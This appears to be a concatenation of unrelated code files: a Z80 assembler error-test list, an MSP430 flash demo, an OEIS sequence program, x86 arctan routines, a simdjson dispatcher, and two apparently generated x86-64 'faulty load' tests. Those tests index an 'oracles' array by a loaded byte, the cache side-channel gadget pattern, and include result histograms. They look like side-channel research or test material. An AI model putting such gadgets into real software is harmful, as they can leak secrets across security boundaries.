sll (iy), e ; Error
sll (iy), h ; Error
sll (iy), l ; Error
sll (iy+127) ; Error
sll (iy+127), a ; Error
sll (iy+127), b ; Error
sll (iy+127), c ; Error
sll (iy+127), d ; Error
sll (iy+127), e ; Error
sll (iy+127), h ; Error
sll (iy+127), l ; Error
sll (iy-128) ; Error
sll (iy-128), a ; Error
sll (iy-128), b ; Error
sll (iy-128), c ; Error
sll (iy-128), d ; Error
sll (iy-128), e ; Error
sll (iy-128), h ; Error
sll (iy-128), l ; Error
sll a ; Error
sll b ; Error
sll c ; Error
sll d ; Error
sll e ; Error
sll h ; Error
sll ixh ; Error
sll ixl ; Error
sll iyh ; Error
sll iyl ; Error
sll l ; Error
slp ; Error
sra (ix), a ; Error
sra (ix), b ; Error
sra (ix), c ; Error
sra (ix), d ; Error
sra (ix), e ; Error
sra (ix), h ; Error
sra (ix), l ; Error
sra (ix+127), a ; Error
sra (ix+127), b ; Error
sra (ix+127), c ; Error
sra (ix+127), d ; Error
sra (ix+127), e ; Error
sra (ix+127), h ; Error
sra (ix+127), l ; Error
sra (ix-128), a ; Error
sra (ix-128), b ; Error
sra (ix-128), c ; Error
sra (ix-128), d ; Error
sra (ix-128), e ; Error
sra (ix-128), h ; Error
sra (ix-128), l ; Error
sra (iy), a ; Error
sra (iy), b ; Error
sra (iy), c ; Error
sra (iy), d ; Error
sra (iy), e ; Error
sra (iy), h ; Error
sra (iy), l ; Error
sra (iy+127), a ; Error
sra (iy+127), b ; Error
sra (iy+127), c ; Error
sra (iy+127), d ; Error
sra (iy+127), e ; Error
sra (iy+127), h ; Error
sra (iy+127), l ; Error
sra (iy-128), a ; Error
sra (iy-128), b ; Error
sra (iy-128), c ; Error
sra (iy-128), d ; Error
sra (iy-128), e ; Error
sra (iy-128), h ; Error
sra (iy-128), l ; Error
sra ixh ; Error
sra ixl ; Error
sra iyh ; Error
sra iyl ; Error
srl (ix), a ; Error
srl (ix), b ; Error
srl (ix), c ; Error
srl (ix), d ; Error
srl (ix), e ; Error
srl (ix), h ; Error
srl (ix), l ; Error
srl (ix+127), a ; Error
srl (ix+127), b ; Error
srl (ix+127), c ; Error
srl (ix+127), d ; Error
srl (ix+127), e ; Error
srl (ix+127), h ; Error
srl (ix+127), l ; Error
srl (ix-128), a ; Error
srl (ix-128), b ; Error
srl (ix-128), c ; Error
srl (ix-128), d ; Error
srl (ix-128), e ; Error
srl (ix-128), h ; Error
srl (ix-128), l ; Error
srl (iy), a ; Error
srl (iy), b ; Error
srl (iy), c ; Error
srl (iy), d ; Error
srl (iy), e ; Error
srl (iy), h ; Error
srl (iy), l ; Error
srl (iy+127), a ; Error
srl (iy+127), b ; Error
srl (iy+127), c ; Error
srl (iy+127), d ; Error
srl (iy+127), e ; Error
srl (iy+127), h ; Error
srl (iy+127), l ; Error
srl (iy-128), a ; Error
srl (iy-128), b ; Error
srl (iy-128), c ; Error
srl (iy-128), d ; Error
srl (iy-128), e ; Error
srl (iy-128), h ; Error
srl (iy-128), l ; Error
srl ixh ; Error
srl ixl ; Error
srl iyh ; Error
srl iyl ; Error
sub a, ixh ; Error
sub a, ixl ; Error
sub a, iyh ; Error
sub a, iyl ; Error
sub ixh ; Error
sub ixl ; Error
sub iyh ; Error
sub iyl ; Error
swapnib ; Error
test (hl) ; Error
test (ix) ; Error
test (ix+127) ; Error
test (ix-128) ; Error
test (iy) ; Error
test (iy+127) ; Error
test (iy-128) ; Error
test -128 ; Error
test 127 ; Error
test 255 ; Error
test a ; Error
test a, (hl) ; Error
test a, (ix) ; Error
test a, (ix+127) ; Error
test a, (ix-128) ; Error
test a, (iy) ; Error
test a, (iy+127) ; Error
test a, (iy-128) ; Error
test a, -128 ; Error
test a, 127 ; Error
test a, 255 ; Error
test a, a ; Error
test a, b ; Error
test a, c ; Error
test a, d ; Error
test a, e ; Error
test a, h ; Error
test a, l ; Error
test b ; Error
test c ; Error
test d ; Error
test e ; Error
test h ; Error
test l ; Error
tst (hl) ; Error
tst (ix) ; Error
tst (ix+127) ; Error
tst (ix-128) ; Error
tst (iy) ; Error
tst (iy+127) ; Error
tst (iy-128) ; Error
tst -128 ; Error
tst 127 ; Error
tst 255 ; Error
tst a ; Error
tst a, (hl) ; Error
tst a, (ix) ; Error
tst a, (ix+127) ; Error
tst a, (ix-128) ; Error
tst a, (iy) ; Error
tst a, (iy+127) ; Error
tst a, (iy-128) ; Error
tst a, -128 ; Error
tst a, 127 ; Error
tst a, 255 ; Error
tst a, a ; Error
tst a, b ; Error
tst a, c ; Error
tst a, d ; Error
tst a, e ; Error
tst a, h ; Error
tst a, l ; Error
tst b ; Error
tst c ; Error
tst d ; Error
tst e ; Error
tst h ; Error
tst l ; Error
tstio -128 ; Error
tstio 127 ; Error
tstio 255 ; Error
xor a, ixh ; Error
xor a, ixl ; Error
xor a, iyh ; Error
xor a, iyl ; Error
xor ixh ; Error
xor ixl ; Error
xor iyh ; Error
xor iyl ; Error
|
;*******************************************************************************
; MSP430x24x Demo - Flash In-System Programming w/ EEI, Copy SegC to SegD
;
; Description: This program first erases flash seg C, then it increments all
; values in seg C, then it erases seg D, then copies seg C to seg D. Seg C @ 1040h
; Seg D @ 1000h
; The EEI bit is set for the Flash Erase Cycles. This does allow the Timer_A
; Interrupts to be handled also during the Segment erase time.
; ACLK = n/a, MCLK = SMCLK = CALxxx_1MHZ = 1MHz
; //* Set Breakpoint in the Mainloop to avoid Stressing Flash *//
;
; MSP430F249
; -----------------
; /|\| XIN|-
; | | |
; --|RST XOUT|-
; | |
;
; JL Bile
; Texas Instruments Inc.
; May 2008
; Built Code Composer Essentials: v3 FET
;*******************************************************************************
.cdecls C,LIST, "msp430x24x.h"
;-------------------------------------------------------------------------------
value .equ R4
;-------------------------------------------------------------------------------
.text ; Program Start
;-------------------------------------------------------------------------------
RESET mov.w #0500h,SP ; Initialize stackpointer
StopWDT mov.w #WDTPW+WDTHOLD,&WDTCTL ; Stop WDT
CheckCal cmp.b #0FFh,&CALBC1_1MHZ ; Calibration constants erased?
jeq Trap
cmp.b #0FFh,&CALDCO_1MHZ
jne Load
Trap jmp $ ; Trap CPU!!
Load mov.b &CALBC1_1MHZ,&BCSCTL1 ; Set DCO to 1MHz
mov.b &CALDCO_1MHZ,&DCOCTL ;
SetupFTG mov.w #FWKEY+FSSEL0+FN1,&FCTL2; Flash Timing generator = MCLK/3
SetupP1 bis.b #001h,&P1DIR ; P1.0 output
SetupC0 mov.w #CCIE,&TACCTL0 ; TACCR0 interrupt enabled
mov.w #50000,&TACCR0 ;
SetupTA mov.w #TASSEL_2+MC_1,&TACTL ; SMCLK, upmode
clr.b value ; value = value to write to flash
eint ; interrupts enabled
;
Mainloop call #Write_SegC ; Copy value to segment C
inc.b value ;
call #CopyC2D ;
jmp Mainloop ; Use this instruction with care
; as it could destroy the Flash mem
; if running for a long time
;
;-------------------------------------------------------------------------------
Write_SegC ;Input = value, holds value to write to Seg C, R5 used as working reg
;-------------------------------------------------------------------------------
mov.w #01040h,R5 ; Flash pointer
Erase_SegC mov.w #FWKEY,&FCTL3 ; Lock = 0
mov.w #FWKEY+ERASE+EEI,&FCTL1 ; Erase bit = 1, allow interrupts
mov.w #0,&01040h ; Dummy write to SegC to erase
Prog_SegC mov.w #FWKEY+WRT,&FCTL1 ; Write bit = 1, block interrupts
Prog_L1 mov.b value,0(R5) ; Write value to flash
inc.w R5 ;
cmp.w #01080h,R5 ;
jne Prog_L1 ;
mov.w #FWKEY,&FCTL1 ; Write bit = 0
mov.w #FWKEY+LOCK,&FCTL3 ; Lock = 1
ret ;
;
;-------------------------------------------------------------------------------
CopyC2D ;Copy Seg C to Seg D, R5 used as working reg.
;-------------------------------------------------------------------------------
Erase_SegD mov.w #FWKEY,&FCTL3 ; Lock = 0
mov.w #FWKEY+ERASE+EEI,&FCTL1 ; Erase bit = 1, allow interrupts
mov.w #0,&01000h ; Dummy write to SegD to erase
mov.w #01040h,R5 ; R5 = First byte in Seg C
Prog_SegD mov.w #FWKEY+WRT,&FCTL1 ; Write bit = 1, block interrupts
mov.w #FWKEY,&FCTL3 ; Lock = 0
Prog_L2 mov.b @R5+,-65(R5) ; Copy Seg C to Seg D
cmp.w #01080h,R5 ;
jne Prog_L2 ;
mov.w #FWKEY,&FCTL1 ; Write bit = 0
mov.w #FWKEY+LOCK,&FCTL3 ; Lock = 1
ret ;
;-------------------------------------------------------------------------------
TA0_ISR; Toggle P1.0
;-------------------------------------------------------------------------------
xor.b #001h,&P1OUT ; Toggle P1.0
reti ;
;-------------------------------------------------------------------------------
; Interrupt Vectors
;-------------------------------------------------------------------------------
.sect ".reset" ; MSP430 RESET Vector
.short RESET ;
.sect ".int25" ; Timer_A0 Vector
.short TA0_ISR ;
.end
|
; A162245: Triangle T(n,m) = 6*m*n + 3*m + 3*n + 1 read by rows.
; Submitted by Christian Krause
; 13,22,37,31,52,73,40,67,94,121,49,82,115,148,181,58,97,136,175,214,253,67,112,157,202,247,292,337,76,127,178,229,280,331,382,433,85,142,199,256,313,370,427,484,541,94,157,220,283,346,409,472,535,598,661,103,172,241,310,379,448,517,586,655,724,793,112,187,262,337,412,487,562,637,712,787,862,937,121,202,283,364,445,526,607,688,769,850,931,1012,1093,130,217,304,391,478,565,652,739,826
mul $0,2
add $0,1
lpb $0
mov $2,$0
sub $0,2
trn $0,$1
add $1,2
add $2,2
lpe
add $1,1
mul $1,$2
mov $0,$1
sub $0,9
div $0,2
mul $0,3
add $0,13
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r15
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x16afd, %rsi
lea addresses_A_ht+0x12c7d, %rdi
nop
inc %r10
mov $67, %rcx
rep movsw
nop
nop
nop
nop
nop
and $23167, %rcx
lea addresses_WT_ht+0x1bfd, %rcx
nop
nop
nop
nop
nop
and %r11, %r11
movl $0x61626364, (%rcx)
nop
nop
nop
nop
nop
sub %rsi, %rsi
lea addresses_normal_ht+0x15a05, %rbx
nop
nop
sub %rcx, %rcx
movl $0x61626364, (%rbx)
nop
dec %r11
lea addresses_D_ht+0x1d5a5, %rsi
nop
nop
nop
nop
nop
add %rax, %rax
mov (%rsi), %r11
nop
cmp $41012, %rdi
lea addresses_UC_ht+0x17929, %rsi
lea addresses_UC_ht+0x1df3d, %rdi
cmp %r15, %r15
mov $26, %rcx
rep movsl
nop
nop
nop
cmp %rax, %rax
lea addresses_A_ht+0x10b7d, %rsi
lea addresses_WT_ht+0xd07d, %rdi
cmp $28937, %rbx
mov $3, %rcx
rep movsq
nop
nop
nop
nop
nop
dec %rsi
lea addresses_normal_ht+0x79ad, %rsi
lea addresses_D_ht+0x189bd, %rdi
nop
add $41136, %rax
mov $57, %rcx
rep movsw
nop
xor $65432, %rcx
lea addresses_D_ht+0xd5dd, %rsi
nop
nop
nop
inc %rcx
vmovups (%rsi), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $1, %xmm7, %r11
nop
nop
nop
nop
cmp %r10, %r10
lea addresses_UC_ht+0xc3fd, %rdi
xor $47077, %rsi
movb $0x61, (%rdi)
nop
nop
nop
nop
cmp %rsi, %rsi
lea addresses_WT_ht+0xbbfd, %rsi
lea addresses_normal_ht+0x18ea7, %rdi
nop
and $13880, %rbx
mov $127, %rcx
rep movsw
nop
nop
nop
inc %rcx
lea addresses_A_ht+0x5afd, %r15
nop
nop
and %rbx, %rbx
mov $0x6162636465666768, %rdi
movq %rdi, %xmm4
movups %xmm4, (%r15)
nop
nop
nop
add $37132, %rax
lea addresses_A_ht+0x2c41, %rsi
cmp %r10, %r10
movl $0x61626364, (%rsi)
nop
cmp %rsi, %rsi
lea addresses_UC_ht+0x17d25, %r10
nop
nop
nop
nop
nop
inc %rcx
mov $0x6162636465666768, %rax
movq %rax, (%r10)
nop
nop
xor $47780, %r11
lea addresses_WT_ht+0x16d6c, %rsi
lea addresses_normal_ht+0x112fd, %rdi
nop
nop
nop
add $8572, %r10
mov $72, %rcx
rep movsl
nop
sub %rcx, %rcx
lea addresses_normal_ht+0x4fd, %rsi
lea addresses_UC_ht+0xb3bd, %rdi
nop
nop
add %rax, %rax
mov $27, %rcx
rep movsw
nop
nop
nop
nop
nop
add $11260, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r15
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r8
push %rcx
push %rdi
push %rdx
push %rsi
// REPMOV
lea addresses_WC+0xdc5d, %rsi
lea addresses_PSE+0x633d, %rdi
nop
and %rdx, %rdx
mov $118, %rcx
rep movsb
nop
nop
nop
nop
inc %r10
// Store
lea addresses_UC+0x588d, %r14
nop
nop
nop
nop
and %rdx, %rdx
movw $0x5152, (%r14)
sub $45459, %rcx
// Faulty Load
mov $0x114fda00000002fd, %r14
nop
nop
nop
nop
nop
sub $46612, %rsi
mov (%r14), %rcx
lea oracles, %r10
and $0xff, %rcx
shlq $12, %rcx
mov (%r10,%rcx,1), %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_NC', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_PSE', 'congruent': 3, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 2, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_NC', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'same': True, 'size': 8, 'congruent': 2, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'same': True, 'size': 32, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 8, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 16, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 8, 'congruent': 2, 'NT': True, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': True}, 'OP': 'REPM'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
.386p
.387
; COPYRIGHT (c) 1995,99 XDS. All Rights Reserved.
; Implementation for arctan2 & arctan2ll functions
ifdef OS2
.model FLAT
endif
DGROUP group _DATA
_DATA segment use32 dword public 'DATA'
_DATA ends
ifdef OS2
_TEXT segment use32 dword public 'CODE'
else
_TEXT segment use32 para public 'CODE'
endif
; assume cs: _TEXT, ds: DGROUP, gs: nothing, fs: nothing
;PROCEDURE ["StdCall"] X2C_arctan2(y,x: REAL): REAL;
public X2C_arctan2
X2C_arctan2 proc near
fld dword ptr +4[esp] ; load "y"
fld dword ptr +8[esp] ; load "x"
L0: fpatan
ret 8H
X2C_arctan2 endp
;PROCEDURE ["StdCall] X2C_arctan(x: REAL): REAL
public X2C_arctan
X2C_arctan proc near
fld dword ptr +4[esp]
fld1
fpatan
ret 4H
X2C_arctan endp
;PROCEDURE ["StdCall"] X2C_arctan2l(y,x: LONGREAL): LONGREAL;
public X2C_arctan2l
X2C_arctan2l proc near
fld qword ptr +4[esp] ; load "y"
fld qword ptr +0ch[esp] ; load "x"
LL0: fpatan
ret 10H
X2C_arctan2l endp
;PROCEDURE [2] X2C_arctanl(x: LONGREAL): LONGREAL
public X2C_arctanl
X2C_arctanl proc near
fld qword ptr +4[esp]
fld1
fpatan
ret 8H
X2C_arctanl endp
_TEXT ends
end
|
#include "simdjson/jsonparser.h"
#include "simdjson/isadetection.h"
#include "simdjson/portability.h"
#include "simdjson/simdjson.h"
#include <atomic>
namespace simdjson {
// The function that users are expected to call is json_parse.
// We have more than one such function because we want to support several
// instruction sets.
// function pointer type for json_parse
using json_parse_functype = int(const uint8_t *buf, size_t len, ParsedJson &pj,
bool realloc);
// Pointer that holds the json_parse implementation corresponding to the
// available SIMD instruction set
extern std::atomic<json_parse_functype *> json_parse_ptr;
int json_parse(const uint8_t *buf, size_t len, ParsedJson &pj,
bool realloc) {
return json_parse_ptr.load(std::memory_order_relaxed)(buf, len, pj, realloc);
}
int json_parse(const char *buf, size_t len, ParsedJson &pj,
bool realloc) {
return json_parse_ptr.load(std::memory_order_relaxed)(reinterpret_cast<const uint8_t *>(buf), len, pj,
realloc);
}
Architecture find_best_supported_implementation() {
constexpr uint32_t haswell_flags =
instruction_set::AVX2 | instruction_set::PCLMULQDQ |
instruction_set::BMI1 | instruction_set::BMI2;
constexpr uint32_t westmere_flags =
instruction_set::SSE42 | instruction_set::PCLMULQDQ;
uint32_t supports = detect_supported_architectures();
// Order from best to worst (within architecture)
if ((haswell_flags & supports) == haswell_flags)
return Architecture::HASWELL;
if ((westmere_flags & supports) == westmere_flags)
return Architecture::WESTMERE;
if (instruction_set::NEON)
return Architecture::ARM64;
return Architecture::NONE;
}
// Responsible to select the best json_parse implementation
int json_parse_dispatch(const uint8_t *buf, size_t len, ParsedJson &pj,
bool realloc) {
Architecture best_implementation = find_best_supported_implementation();
// Selecting the best implementation
switch (best_implementation) {
#ifdef IS_X86_64
case Architecture::HASWELL:
json_parse_ptr.store(&json_parse_implementation<Architecture::HASWELL>, std::memory_order_relaxed);
break;
case Architecture::WESTMERE:
json_parse_ptr.store(&json_parse_implementation<Architecture::WESTMERE>, std::memory_order_relaxed);
break;
#endif
#ifdef IS_ARM64
case Architecture::ARM64:
json_parse_ptr.store(&json_parse_implementation<Architecture::ARM64>, std::memory_order_relaxed);
break;
#endif
default:
std::cerr << "The processor is not supported by simdjson." << std::endl;
return simdjson::UNEXPECTED_ERROR;
}
return json_parse_ptr.load(std::memory_order_relaxed)(buf, len, pj, realloc);
}
std::atomic<json_parse_functype *> json_parse_ptr{&json_parse_dispatch};
WARN_UNUSED
ParsedJson build_parsed_json(const uint8_t *buf, size_t len,
bool realloc) {
ParsedJson pj;
bool ok = pj.allocate_capacity(len);
if (ok) {
json_parse(buf, len, pj, realloc);
} else {
std::cerr << "failure during memory allocation " << std::endl;
}
return pj;
}
} // namespace simdjson
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r8
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x718d, %r8
clflush (%r8)
nop
nop
nop
nop
dec %rbp
and $0xffffffffffffffc0, %r8
vmovntdqa (%r8), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $0, %xmm5, %rbx
nop
nop
add $18513, %r11
lea addresses_A_ht+0x13f8d, %rsi
lea addresses_WC_ht+0x29a3, %rdi
nop
nop
nop
and %r9, %r9
mov $83, %rcx
rep movsb
nop
nop
nop
sub $62724, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r15
push %rcx
push %rdi
push %rsi
// Faulty Load
lea addresses_US+0x918d, %rsi
nop
nop
nop
nop
nop
sub %rdi, %rdi
movups (%rsi), %xmm7
vpextrq $1, %xmm7, %r13
lea oracles, %rcx
and $0xff, %r13
shlq $12, %r13
mov (%rcx,%r13,1), %r13
pop %rsi
pop %rdi
pop %rcx
pop %r15
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': True, 'size': 8}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': True, 'same': False, 'congruent': 11, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 9, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_WC_ht'}}
{'45': 11681, 'ff': 1, '00': 7500, '48': 2647}
00 45 48 45 45 00 00 00 00 45 45 00 45 00 00 00 00 48 45 45 45 00 00 45 45 48 00 45 48 00 45 00 45 45 00 45 45 00 45 48 45 45 00 00 00 45 45 45 00 48 45 45 00 00 00 00 45 45 45 45 45 00 45 45 00 45 45 45 45 45 00 48 00 45 45 45 45 00 45 45 48 00 00 45 45 00 00 48 00 00 45 00 00 00 00 00 45 00 00 00 00 45 45 48 45 45 45 45 45 45 45 48 45 00 48 45 45 48 45 45 45 45 48 45 45 00 45 45 00 00 45 45 45 45 00 48 45 45 45 45 00 45 48 45 45 00 48 00 45 45 45 45 45 45 00 00 45 45 45 48 00 48 45 45 00 00 45 45 45 48 45 48 00 45 45 00 45 45 45 45 48 45 00 00 45 45 00 48 00 00 00 00 00 45 45 48 45 00 45 00 00 45 00 45 45 45 00 48 45 45 45 00 45 45 00 45 45 45 00 45 00 45 45 00 00 48 45 45 45 00 00 00 00 48 45 45 45 45 00 00 45 45 00 00 45 00 00 45 45 45 48 48 00 45 45 00 45 00 45 45 45 00 00 00 45 45 45 45 00 45 45 45 45 00 00 45 00 48 00 48 45 45 45 00 00 48 45 48 00 48 45 45 48 48 45 45 00 45 45 45 45 00 00 45 00 00 00 00 45 45 45 45 45 00 45 00 45 00 00 00 45 45 00 00 00 00 00 00 45 45 00 00 48 48 00 45 45 45 00 00 48 45 00 45 00 00 45 00 45 48 00 00 45 45 45 45 45 45 45 45 00 45 00 00 45 00 00 45 00 45 45 00 45 45 00 45 48 45 45 48 48 00 45 45 45 00 48 00 00 45 00 00 48 00 45 00 45 48 45 45 45 48 00 45 00 00 45 45 45 45 45 45 48 00 00 00 00 45 45 45 45 45 00 45 00 00 00 45 45 00 48 00 48 45 45 48 00 00 00 45 48 45 45 00 45 45 45 45 45 00 45 45 45 00 00 45 48 00 00 45 48 45 00 45 00 45 45 45 45 00 00 45 00 45 45 45 48 45 00 48 00 45 45 45 45 00 45 00 00 45 45 00 45 00 45 45 00 45 00 45 48 00 45 00 45 00 45 00 00 48 45 45 45 00 45 45 00 45 45 45 00 45 45 45 45 45 00 00 00 45 45 00 00 45 45 45 00 00 45 48 45 00 45 48 00 45 45 00 45 45 45 00 45 45 00 45 45 45 45 00 45 45 45 00 45 45 48 45 45 45 48 00 45 00 00 45 45 45 00 45 45 45 45 45 48 48 00 45 45 00 00 45 00 45 00 45 45 45 48 45 45 48 45 00 45 48 45 45 00 00 00 00 45 00 48 00 48 48 48 45 48 45 00 48 45 00 00 45 00 45 45 45 45 45 00 45 00 45 45 45 45 00 45 45 45 00 45 45 00 45 45 45 45 00 00 45 00 00 45 45 00 45 48 00 00 45 45 00 45 45 00 45 00 45 45 45 00 45 45 00 00 45 45 45 45 00 48 45 00 00 00 45 45 48 00 45 00 45 45 48 45 45 45 00 45 45 00 45 45 00 45 00 00 45 45 45 45 00 45 45 48 00 45 45 45 45 45 45 45 45 45 00 00 00 45 48 48 00 45 00 45 45 00 45 45 45 45 00 00 45 00 45 00 48 48 00 45 00 45 45 45 45 45 45 45 00 00 00 45 00 00 00 00 45 45 48 00 00 45 45 45 45 48 45 45 45 45 45 45 00 45 45 45 00 00 45 45 00 00 48 45 45 45 45 45 48 00 45 00 00 48 00 45 45 45 00 45 00 45 45 45 45 45 45 45 00 00 45 45 48 00 45 45 45 45 45 00 48 45 45 48 45 45 48 45 00 45 45 48 48 48 45 00 00 00 00 45 45 45 45 00 48 48 00 45 45 45 00 00 45 45 00 00 00 45 45 00 00 48 45 00 45 00 00 45 48 48 45 45 45 00 00 48 45 00 45 00 48 45 45 45 00 48 45 45 48 00 48 00 00 00 00 45 45 00 45 00 45 00 45 45 00 45 00 00 45 00 00 48 00 45 00 00 00 00 00 45 00 45 48 45 45 00 45 00 00 48 00 45 00 45 00 45 45 